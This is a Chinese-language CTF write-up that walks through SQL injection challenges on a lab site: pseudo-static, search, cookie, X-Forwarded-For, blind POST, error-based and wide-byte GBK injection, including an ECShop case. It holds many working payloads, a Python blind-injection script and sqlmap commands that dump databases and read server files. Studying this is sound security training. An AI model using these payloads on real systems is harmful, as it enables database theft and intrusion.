安鸾之SQL系列&余下部分
涂寐 Lv5

0x00 开题说明

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及
盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io

0x01 伪静态&搜索注入

0o00 题目提示

1
2
3
伪静态&搜索注入

题目URL:http://47.103.94.191:8001/

0o01 伪静态注入

①网站形态:分动态和静态。
②动态页面:一个页面根据用户请求,从服务器数据库中筛选出请求的内容并返回前端界面。
③静态页面:用户访问一个页面,服务器直接将该页面返回前端界面,无需数据库支持。
④伪静态页面:动态页面为提高收录率,通过某些规则将动态页面的地址转换成以 htm/html 后缀的形式(重写URL),但本质上仍为动态页面。
⑤个人理解伪静态图:
image

⑥伪静态判定

  1. 利用动态页面最后修改时间总为当前时间,静态页面最后修改时间为文件生成时间的特点进行判定
  2. 流程:htm页面–>F12–>控制台–>输入javascript:alert(document.lastModified)–>日期总为当前时间,为伪静态。
    image

⑦常见伪静态:aspcms、phpweb、thinkphp框架等

0o02 利用过程

  1. 纯手工利用
    ①判断可能存在

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    http://47.103.94.191:8001/front/articles-1 and 1=1.html	# 正常响应
    http://47.103.94.191:8001/front/articles-1 and 1=2.html # 异常响应


    # 伪静态中使用%20,%23,+等字符时会直接传递到URL中,但可使用块注释 /**/ 来代替空格
    # 可知当前URL所请求表中含7个字段,通过sqlmap可进一步确认(news库news表)
    http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/7.html
    http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/8.html


    # 布尔注入
    # 当 1-true 成立,即为0,则没有文章articles-0,反之为文章articles-1
    http://47.103.94.191:8001/front/articles-1-true.html
    http://47.103.94.191:8001/front/articles-1-false.html


    # 当前用户名长度
    # 当 length(user())=13 成立(true),则 2-(length(user())=13) 得1,则显示文章articles-1,反之显示文章articles-2
    # 又,通过 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3 --current-user 得用户名,test@localhost
    # 故,可以确定当前用户连接用户名长度为14,注入语句成功
    http://47.103.94.191:8001/front/articles-2-(length(user())=13).html
    http://47.103.94.191:8001/front/articles-2-(length(user())=14).html


    # 当前数据库名长度
    http://47.103.94.191:8001/front/articles-1-(length(database())=3).html
    http://47.103.94.191:8001/front/articles-1-(length(database())=4).html


    http://47.103.94.191:8001/front/articles-1.html # 未加入单引号
    http://47.103.94.191:8001/front/articles-1'.html # 加入单引号,出现异常响应

    ②发现没有回显,写脚本进行盲注
    这里脚本可以试试二分法进行盲注,可以有效降低时间复杂度。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    # !/usr/bin/env python3
    from requests.sessions import session
    import re
    from time import sleep

    """
    @Time : 2022/5/9 19:18
    @Author : 涂寐
    @File : d.py
    @PRODUCT : PyCharm
    @Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本

    """


    class Riddle:
    url = "http://47.103.94.191:8001/front/articles-1{}.html"
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
    'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 '
    }
    estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$"
    re_title = r'<h1.*?>(.*?)</h1>'

    def riddle_request(self, url: str) -> list:
    """
    这是一个网络请求函数
    :param url: 待请求注入的网址
    :return: 存在注入的判定标识
    """
    with session().get(url=url, headers=self.headers) as response:
    content = response.text
    title_list = re.findall(self.re_title, str(content))
    return title_list

    def riddle_length(self, sql_syntax: str) -> int:
    """
    这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维
    :param sql_syntax: sql注入语句
    :return: sql语句返回值的长度
    """
    for num in range(1, 1024):
    url = self.url.format(sql_syntax).format(num=num)
    print(num, end='-')
    if not self.riddle_request(url):
    print(num)
    return num

    def riddle_estimate(self, length: int, sql_syntax: str):
    """
    这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维
    :param length: 猜想长度
    :param sql_syntax: sql语句
    """
    flag = 0
    for num in range(1, length + 1):
    for estimate in self.estimates:
    url = self.url.format(sql_syntax).format(num=num, estimate=estimate)
    if not self.riddle_request(url):
    print(estimate, end='')
    sleep(1)
    flag = 0
    break
    # 避免过多请求
    if flag > 3:
    print('flag大于3')
    break


    if __name__ == "__main__":
    # 猜表名
    # column_name = "table_name"
    # table_name = "information_schema.columns"
    # limit_name = "table_schema"
    # appoint_name = "news"
    # 猜字段
    # column_name = "column_name"
    # table_name = "information_schema.columns"
    # limit_name = "table_name"
    # appoint_name = "flag_is_here"
    # 猜字段值
    column_name = "flag_number"
    table_name = "news.flag_is_here"
    limit_name = "fid"
    appoint_name = "1"
    riddle = Riddle()
    # http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from
    # information_schema.tables)=29).html
    riddle_length = riddle.riddle_length(
    sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format(
    column_name=column_name, table_name=table_name, limit_name=limit_name,
    appoint_name=appoint_name) + ")={num})")
    # http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from
    # information_schema.tables),1,1)='i').html
    riddle.riddle_estimate(
    sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format(
    column_name=column_name, table_name=table_name, limit_name=limit_name,
    appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)

    image

  2. sqlmap利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 注!!!注!!!注!!!
    # sqlmap一把梭时,可在存在伪静态注入点后加入 * 符号标识,具体如下

    # 爆当前使用的库名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch –-current-db
    # 爆news库下表名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" --tables
    # 爆news库flag_is_here表下字段名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' --columns
    # 爆news库flag_is_here表fid和flag_number字段内容
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' -C 'fid,flag_number' --dump
    # 最终得到
    flag{c681ed59dd48ac30bfe913a4c73b2aaa}
    # 注:使用 -v 参数设置sqlmap的回显等级, -v 为 3 时恰好显示注入语句
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3

    image

0x02 SQL搜索型注入01

0o00 题目提示

1
2
3
4
5
SQL搜索型注入01

漏洞URL:http://47.103.94.191:8002/search.php

提示:flag在数据库里

0o01 利用过程

  1. 直接搜索框测试,注入点无法查看,使用 HackBar 获取post内容。
    image

  2. 显而易见的注入点,现在构造你的语句吧
    ① 传递查询参数1时,通过POST传参 search=1 ,查询数据库中某字段中(返回到前端的Message列)含1的内容,猜测SQL语句类似select column1,column2,column3 from table where like '%${parameter}%'
    ② 通过修改search=1' order by 5#中的5判断注入语句中的字段个数,此处为5。
    ③ 通过构造union子句检测查询内容回显在前端的哪个位置search 1' union select 1,2,3,4,5#

    1
    2
    3
    4
    5
    6
    7
    8
    search=1' union select 1,2,group_concat(distinct table_name),4,5  from information_schema.columns where table_schema like database()%23
    得到: account,caffaine,dwvs_admin_message,dwvs_message,dwvs_user_message,dwvs_vulnerability,flag,news,user

    search=1' union select 1,2,group_concat(distinct column_name),4,5 from information_schema.columns where table_name like 'flag'%23
    得到: id,flag

    search=1' union select 1,2,group_concat(distinct flag),4,5 from flag%23
    得到:flag{8bce2844bc098845261fad79a3a56215}

    image

  3. sqlmap测试

    1
    2
    3
    4
    5
    # 通过 --data 参数指定提交的post数据
    sqlmap -u "http://47.103.94.191:8002/search.php" --batch --data "search=1" -D 'dwvs' -T 'flag' -C 'id,flag' --dump

    # 通过 -r 参数指定post请求包
    sqlmap -r ./post.txt -D 'dwvs' -T 'flag' -C 'flag' --dump
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /search.php HTTP/1.1
    Host: 47.103.94.191:8002
    Content-Length: 8
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://47.103.94.191:8002
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://47.103.94.191:8002/search.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: security_level=1; PHPSESSID=2ge1634i8bqs8o9g1nsebvsvk2
    Connection: close

    search=1

0x03 Cookie注入

0o00 题目提示

1
2
3
4
5
Cookie注入

题目URL:http://47.103.94.191:8009

提示:flag在数据库里面.

0o01 Cookie注入

  • 原理:在动态脚本语言中存在超全局变量可以获取多种传参方式,如php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE ,但php 5.4 以上版本不再接受Cookie传参。故,在发送请求包时,可以在请求头中添加/更改Cookie值以构造非法语句来实现注入。简而言之,修改本地Cookie值来提交非法请求。
  • 使用:①通过bp抓包后添加/修改请求头Cookie值;②通过控制台执行document.cookie="id="+escape("3")添加/修改请求头Cookie值;③通过Cookie Editor插件添加/修改请求头Cookie值;④通过sqlmap工具指定--cookie参数以及指定探测等级--level2级及以上。
  • 时机:站点对$_GET和$_POST提交的数据进行过滤,但未对$_COOKIE提交的数据进行过滤时。

0o02 利用过程

  1. 将请求包中,Cookie值(没有就自己加)替换为GET请求的URL?后面部分,即id=2。同时,删掉URL?及其后面部分(截至到空格)。
    image

  2. bp利用语句(和上一题一样猜想测试)

    1
    2
    3
    4
    5
    6
    7
    8

    Cookie: id=-2 union select 1,database(),version(),group_concat(distinct table_name),5 from information_schema.columns where table_schema like database()
    得到:account,sql_admin_message,sql_message,sql_user_message,sql_vulnerability,this_flag,user,users

    Cookie: id=-2 union select 1,database(),version(),group_concat(distinct column_name),5 from information_schema.columns where table_name like 'this_flag'
    得到:id,flag

    得到:flag{d523990a3ff51ff035d5cf378f175e88},dagebiedawo

    image

  3. F12–>Console–>使用document.cookie="id="+escape("3")语句修改本地保存的Cookie值后再对http://47.103.94.191:8009/user.php发起请求。

    1
    2
    3
    4
    document.cookie="id="+escape("3")

    document.cookie:表示当前浏览器中的cookie变量
    escape():该函数用于对字符串进行编码

    image

  4. 使用Cookie Editor插件添加/修改本地Cookie内容,更加方便!!!
    image

  5. sqlmap使用

    1
    2
    3
    4
    5
    # 需要指定 --level 提高探测等级(等级2以上才会检测cookie注入),以使用更多 payload 注入
    sqlmap -u 'http://47.103.94.191:8009/user.php?id=2' --batc --cookie "id=2" --dbs --level 2

    # 通过 -r 参数指定post请求包,但一样要指定Cookie值,就更麻烦
    sqlmap -r post.txt --batch --cookie "id=2" -D 'cookie' --tables --level 2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    GET /user.php HTTP/1.1
    Host: 47.103.94.191:8009
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie:id=2
    Connection: close

0x04 X-Forwarded-For注入

0o00 题目提示

1
2
3
4
5
X-Forwarded-For注入

题目URL:http://47.103.94.191:8010/

提示:flag在数据库里面.

0o01 X-Forwarded-For注入

  • 名词解析:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。
  • 名词相关:XFF的有效使用是在保证代理服务器可信的前提下,如通过创建可信服务器白名单等。假设没有XFF等技术,则通过代理服务器的连接显示的是代理服务器的IP,而非连接发起的原始IP。即,代理服务器充当匿名服务提供者,使得连接的原始地址不可知。进而,服务对接时对恶意访问的检测和预防难度将大大增加。
  • XFF格式X-Forwarded-For: client1, proxy1, proxy2, proxy3

0o02 利用过程

  1. bp工具利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    GET /whitelist.php HTTP/1.1
    Host: 47.103.94.191:8010
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    X-Forwarded-for:'union select 1,2,3,4,5'
    Connection: close
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // 得到哪个字段回显前端-->2,3
    X-Forwarded-for:'union select 1,2,3,4,5'

    // 得到数据库名-->xff
    X-Forwarded-for:'union select 1,database(),3,4,5'

    // 得到表名-->this_flag
    X-Forwarded-for:'union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema = database()),4,5'

    // 得到字段名-->flag
    X-Forwarded-for:'union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema = database()),4,5'

    // 得到字段内容-->flag{00b116d12ab1d53490e6b685cc7862fc}
    X-Forwarded-for:'union select 1,database(),(select flag from this_flag limit 1),4,5'



    image

  2. sqlmap利用

    1
    2
    3
    4
    // 按官方文档说,-H 是添加额外的请求头字段;-p 指定注入参数呗
    sqlmap -u "http://47.103.94.191:8010/whitelist.php" --batch -H "X-Forwarded-For:127.0.0.1" -p "X-Forwarded-For" -D "xff" -T "this_flag" -C "flag" --dump

    // 也可以直接拿bp抓取到的请求包进行 sqlmap 注入,同样要 -p 指定参数,具体看上面的注入步骤吧

    image

0x05 POST盲注&万能密码

0o00 题目提示

1
2
3
4
5
6
7
8
9
10
11
12
POST盲注&万能密码 (200分)
漏洞1
form表单盲注&万能密码
登陆框:http://47.103.94.191:8003/user/login.php
漏洞URL:http://47.103.94.191:8003/user/logCheck.php

漏洞2
需要登陆抓包
漏洞页面:http://47.103.94.191:8003/user/edit.php
漏洞URL:http://47.103.94.191:8003/user/updateName.php

提示:flag在数据库里

0o01 漏洞1

  • 别被万能密码误导,在登录框那使用万能密码登录,而实际需要的是抓取登录请求的包,以userpass参数作为注入点。

image

  • 测试一波,就发现返回Mysql Error!!或账密不正确,so……尝试盲注注入——时间盲注

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /user/logCheck.php HTTP/1.1
    Host: 47.103.94.191:8003
    Content-Length: 37
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://47.103.94.191:8003
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://47.103.94.191:8003/user/login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: PHPSESSID=vthao53sebdao4cbvqd2bt5ji2
    Connection: close

    user=admin&pass=admin'&submit=submit

    image

  • bp利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ddd为临时表,使用两个and关键字进行联合查询
user=admin&pass=' and (select 1 from (select(sleep(5))) as ddd) and '1'='1&submit=submit

// 改用使用 “#”注释符
user=admin&pass=' and (select 1 from (select(sleep(5))) as ddd)#&submit=submit

// 判表名长度
user=admin&pass=admin' and if(length(database())=5,1,sleep(5))#&submit=submit

// 时间盲注时,使用 Burp 的 Intruder 模块需要设置单线程;方便以响应时间作为猜想成功的依据;
// 同时,查看爆破结果时需要在 columns 选项中勾选Response received或Response completed 查看响应时间
user=admin&pass=admin' and if(substr(database(),§1§,1)='§d§',sleep(5),null) and '1'='1&submit=submit

// 之后步骤类似,不多做解释

image

  • sqlmap利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// --form 参数自动获取请求页中的form表单测试
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms

// 得到库名-->dwvs
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms --dbs

// 得到表名-->flag
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms -D dwvs --tables

// 得到字段名-->flag
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms -D dwvs -T flag --columns

// 字段内容-->flag{f99c688f101bb53fdbf178ad0889182e}
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms -D dwvs -T flag -C flag --dump

image

0o02 漏洞2

  • 试了几波万能密码,'or '1'='1/pwd存在数据库admin'#/任意字符,具体语句:SELECT * FROM dwvs_user_message WHERE DWVS_user_name =''or '1'='1' AND DWVS_user_passwd='';根据mysqland的优先级高于or可知,'or '1'='1DWVS_user_passwd='';先做and运算找到密码正确的记录,之后做or运算判断DWVS_user_name字段,此时账号存在抑或正确与否已无任何关系,仅需密码存在即可;或SELECT * FROM dwvs_user_message WHERE DWVS_user_name ='admin'# AND DWVS_user_passwd='';通过#注释AND DWVS_user_passwd='';部分,使得密码无需填写,仅需账号存在即可。
  • 通过sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms --sql-shell``SELECT COUNT(*) FROM dwvs_user_message;查询,记录数是45。写入SELECT * FROM dwvs_user_message limit 5;,读取到前5条记录,可以看到有多个账户1,对应不同的密码,同时账户1可以多次创建,密码不同账户不同,其他账户名不行。同时,使用1'#账号无法登录,未理解!!!
  • 查看源码文件:https://github.com/bugku/BWVS/blob/master/user/logCheck.php
  1. bp手工布尔盲注(更新用户名处抓包):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /user/updateName.php HTTP/1.1
    Host: 47.103.94.191:8003
    Content-Length: 32
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://47.103.94.191:8003
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://47.103.94.191:8003/user/edit.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
    Connection: close

    u_id=1&user_name=1&submit=submit
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // 请了解MySQL的case搜索函数(case when then else end,可代替where)
    // rlike 运算符(REGEXP 的同义词)执行字符串表达式与模式的模式匹配--正则表达式相关。
    // 举例:select 123 rlike 1。在 123 中含有 1 (模糊匹配), 则整个 select 语句返回 1,反之返回 0。
    // 完整语句:UPDATE dwvs_user_message SET DWVS_user_name = '1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 2 END))-- nLnq' WHERE DWVS_user_id = '1';
    // 如下语句解析,CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END) 中,由于 3454=3454 恒成立,则得到整个语句结果为 1;
    // '1' RLIKE 1 的结果为 1,则之后的 DWVS_user_name 都设置为 1,这也是为什么出现多个以 1 为名的账户的原因。
    // 注入原理:rlike遇到特殊字符'('报错缺少右括号,char(40)为'(' ,0x28为'(',则可通过修改“3454=3454”部分内容进行猜想。
    // 注:请理解正则表达式语法,rlike注入的实现大致是正则表达式的语法错误(仅个人理解)。
    u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END))-- nLnq&submit=submit

    // 猜想数据库长度,正确长度为4
    u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (length(database())=3) THEN 1 ELSE 0x28 END))#&submit=submit

    // 猜想具体字符

    u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (if((substr(database(),2,1)='W'),1,0)) THEN 1 ELSE 0x28 END))#&submit=submit
    image

image

  1. sqlmap注入
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 指定注入参数 user_name,获得三种注入方式
    sqlmap -r test.txt --batch -p user_name

    // 指定使用布尔盲注获取当前数据库名-->dwvs
    sqlmap -r test.txt --batch -p user_name --technique B --current-db

    // ……
    // 拿flag-->flag{f99c688f101bb53fdbf178ad0889182e}
    sqlmap -r test.txt --batch -p user_name --technique B -D dwvs -T flag -C flag --dump

    // 读取源码文件/var/www/html/user/updateName.php
    sqlmap -r test.txt --batch -p user_name --technique B --file-read "/var/www/html/user/updateName.php" --threads 10
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php
    include_once('../bwvs_config/sys_config.php');
    if(isset($_POST['submit']) && !empty($_POST['user_name'])) {
    # $clean_username = select_waf1($_POST['user_name']);
    $clean_username = $_POST['user_name'];
    # $clean_username = XSS_reg($clean_username);
    $clean_user_id = clear_all($_POST['u_id']);
    if(!is_numeric($clean_user_id))
    {
    $_SESSION['Uid_error'] = '非法的用户ID';
    header('Location: edit.php');
    }else{
    $sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_username"."'";
    $data = mysqli_query($connect, $sql) or die(mysqli_error($connect));
    if(mysqli_num_rows($data) == 1){
    $_SESSION['update_error'] = 'error';
    header('Location: edit.php');
    }else{
    $sql_Up = "UPDATE dwvs_user_message SET DWVS_user_name = '$clean_username' WHERE DWVS_user_id = '$clean_user_id'";
    mysqli_query($connect,$sql_Up) or die(mysqli_error($connect));
    mysqli_close($connect);
    $_SESSION['user_name'] = $clean_username;
    header('Location: edit.php');
    }
    }
    }else{
    not_find($_SERVER['PHP_SELF']);
    }
    ?>
    image

0x06 SQL报错型注入

0o00 题目提示

1
2
3
4
5
6
7
8
9
10
11
12
SQL报错型注入

需要注册登陆
漏洞一:insert报错注入
漏洞页面:http://47.103.94.191:8004/message.php
漏洞URL:http://47.103.94.191:8004/messageSub.php

漏洞二:update报错注入
漏洞页面:http://47.103.94.191:8004/user/edit.php
漏洞URL:http://47.103.94.191:8004/user/updateName.php

提示:flag在数据库里面

0o01 漏洞一:insert报错注入

  • 登录后留言界面留言并抓包,之后去重放那测试。抑或,那请求包去sqlmap那边跑,语句:sqlmap -r test.txt --batchsqlmap -u "http://47.103.94.191:8004/messageSub.php" --batch --cookie "PHPSESSID=4s0hom06cjglakfi64fu9u0h21" --data "message=libai&submit=submit"
  • 注:别退出登录(cookie失效)!!!
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /messageSub.php HTTP/1.1
    Host: 47.103.94.191:8004
    Content-Length: 27
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://47.103.94.191:8004
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://47.103.94.191:8004/message.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
    Connection: close

    message=libai&submit=submit
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    // 某个位置回显数据-->仅闭合构造

    // 测试字段数
    message=1','2','3')#&submit=submit

    // 测试回显位置
    message=1','2','3','5')#&submit=submit

    // 代替'3',获取版本
    message=1','2',@@version,'5')#&submit=submit


    // 报错注入

    // 使用 extractvalue() 方法构造报错注入,得到库名-->dwvs
    message=222'or extractvalue(1,concat(0x7e,database(),0x7e)))#&submit=submit
    // 或使用其他字符使 xml路径 不正确
    message=222'or extractvalue(1,concat('///',database())))#&submit=submit

    // 得到表名-->flag
    message=222'or extractvalue(1,concat('///',(select distinct(table_name) from information_schema.columns where table_schema=database() limit 6,1))))#&submit=submit

    // 得到字段名-->flag
    message=222'or extractvalue(1,concat('///',(select distinct(column_name) from information_schema.columns where table_name='flag' limit 1,1))))#&submit=submit

    // 得到flag-->flag{690997feb8fc9341}
    message=222'or extractvalue(1,concat('///',(select distinct(flag) from flag limit 0,1),'///')))#&submit=submit
    image

0o02漏洞二:update报错注入

1
2
3
4
5
6
7
8
9
10
11
// GeometryCollection是由1个或多个任意类几何对象构成的几何对象
// GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)
// 官方举例:GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
// POINT(x,y) 函数-->坐标函数
// LINESTRING(x y,x y)函数-->描述直线,使两点连成直线
// !!!!使用条件:5.5<mysql版本<5.6
// 注入原理:构造不符合绘制几何图形的参数实现注入,如写入参数为字符串

// 直接拿flag-->flag{f99c688f101bb53fdbf178ad0889182e}
// 注:!!!需要构建2个临时表:a和b,三层select嵌套,暂不懂具体原理(大致是waf造成)。
u_id=1&user_name=1'and GeometryCollection((select * from(select * from (select flag from flag)a)b))# #&submit=submit

image

0x07 宽字符注入

0o00 题目提示

1
2
3
4
5
宽字符注入

题目URL:http://47.103.94.191:8011

提示:flag在数据库里面.

0o01 注入流程

  • bp手注,具体内容请访问如下URL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 回显提示:数据库没有id=-81,即不成立,则查找 1=1,为真,即id=1;之后,进行注释闭合
// 回显内容:
// The Query String is : SELECT * FROM users WHERE id='-81�\\\' or 1=1 -- -' LIMIT 0,1
// hacker 工具利用,构造单引号逃逸
http://47.103.94.191:8011/wide.php?id=-81�\' or 1=1 -- -

// 猜当前查询语句中查询的字段数-->5
http://47.103.94.191:8011/wide.php?id=1�\' order by 5 -- -

// 利用bp工具,注意编码
GET /wide.php?id=1%df'or%201=1%20%23 HTTP/1.1

// 获取flag-->flag{573ce050c8dcdf3f216bf1485480c1ff}
http://47.103.94.191:8011/wide.php?id=-1�\' union select 1,2,3,flag ,5 from this_flag -- -

image

  • sqlmap宽字节注入
1
2
3
4
5
6
7
8
9
// 调用 sqlmap 的 unmagicquotes.py 脚本构造宽字符注入绕过waf
// 使用说明:用一个多字节组合%bf%27和末尾通用注释一起替换空格
// 转换输出:1' AND 1=1 ==》 1%bf%27 AND 1=1-- -

// 调用 unmagicquotes.py 脚本后,可实现注入
sqlmap -u "http://47.103.94.191:8011/wide.php?id=3" --batch --tamper unmagicquotes

// 获取flag-->flag{573ce050c8dcdf3f216bf1485480c1ff}
sqlmap -u "http://47.103.94.191:8011/wide.php?id=3" --batch --tamper unmagicquotes -D kzf -T this_flag -C flag --dump

0x08 宽字符注入02

0o00 题目提示

1
2
3
4
5
6
宽字符注入02

网站URL:http://47.103.94.191:8036/

提示:flag在网站数据库里面

0o01 ecshop gbk存在宽字符注入

0o02 注入流程

  • 这里想测试使用load_file()手工读取文件,奈何……弄不出,有懂得师傅滴滴~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 测试
// 完整的sql语句:SELECT user_id FROM `ecshop`.`ecs_users` WHERE user_name='xxx'
http://47.103.94.191:8036/user.php?act=is_registered&username=%df'

// 闭合
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' and 1=1 -- -

// 使用updatexml报错注入 --> ecshop
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,database(),0x7e),0) -- -

// 找 ecshop 库下表的个数 --> 89
